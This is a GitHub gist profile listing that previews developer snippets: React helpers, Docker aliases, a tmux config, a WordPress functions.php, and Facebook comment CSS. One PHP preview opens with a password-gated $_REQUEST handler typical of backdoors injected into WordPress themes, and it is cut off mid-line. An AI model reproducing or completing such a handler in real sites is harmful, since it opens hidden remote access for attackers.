Skip to content

Instantly share code, notes, and snippets.

View hnq90's full-sized avatar
🎯
Focusing

Huy Nguyen Quang hnq90

🎯
Focusing
View GitHub Profile
@hnq90
hnq90 / renderNode.js
Created March 28, 2019 02:01
renderNode.js
import React from 'react';
const renderNode = (Component, content, defaultProps) => {
if (content == null || content === false) {
return null;
}
if (React.isValidElement(content)) {
return content;
}
if (typeof content === 'function') {
@hnq90
hnq90 / normalizeText.js
Created March 28, 2019 02:00
normalizeText.js
//
// Method to normalize size of fonts across devices
// https://github.com/react-native-training/react-native-elements/blob/master/src/helpers/normalizeText.js
//
// Some code taken from https://jsfiddle.net/97ty7yjk/ &
// https://stackoverflow.com/questions/34837342/font-size-on-iphone-6s-plus
//
// author: @xiaoneng
// date: 14/10/2016
// version: 03
@hnq90
hnq90 / .docker_aliases
Created January 30, 2019 02:05 — forked from cjus/.docker_aliases
Docker aliases
#!/bin/sh
alias dm='docker-machine'
alias dmx='docker-machine ssh'
alias dk='docker'
alias dki='docker images'
alias dks='docker service'
alias dkrm='docker rm'
alias dkl='docker logs'
alias dklf='docker logs -f'
javascript:(function(){var sp = location.href.split('/'); var f = sp[sp.length-1].split('_'); window.open("http://www.facebook.com/"+f[1],Math.random()); })();
@hnq90
hnq90 / .tmux.conf
Last active January 6, 2021 08:43
.tmux.conf
unbind C-b
set -g prefix C-a
bind C-a send-prefix
# solve the arrows mess when using vim in tmux
set -g default-terminal "xterm-256color"
# use mouse to scroll the output page instead of the command history
set -g terminal-overrides 'xterm*:smcup@:rmcup@'
@hnq90
hnq90 / functions.php
Created January 11, 2018 16:52 — forked from yoren/functions.php
Parent Post From Another Post Type And A New URL Structure In WordPress
<?php
// Flush rewrite rules after switch theme
function my_rewrite_flush() {
flush_rewrite_rules();
}
add_action( 'after_switch_theme', 'my_rewrite_flush' );
// A little help so we can get the stylesheet from parent theme
// Remove line 10-19 if this is not a child theme
function my_enqueue_styles() {
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'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ective Engineer - Notes

What's an Effective Engineer?

  • They are the people who get things done. Effective Engineers produce results.

Adopt the Right Mindsets

@hnq90
hnq90 / fb_comment.css
Created September 13, 2017 03:23
Responsive Facebook Comment
.fb-comments {
width: 100% !important;
}
.fb-comments iframe[style] {
width: 100% !important;
}
.fb-like-box {
width: 100% !important;
}
.fb-like-box iframe[style] {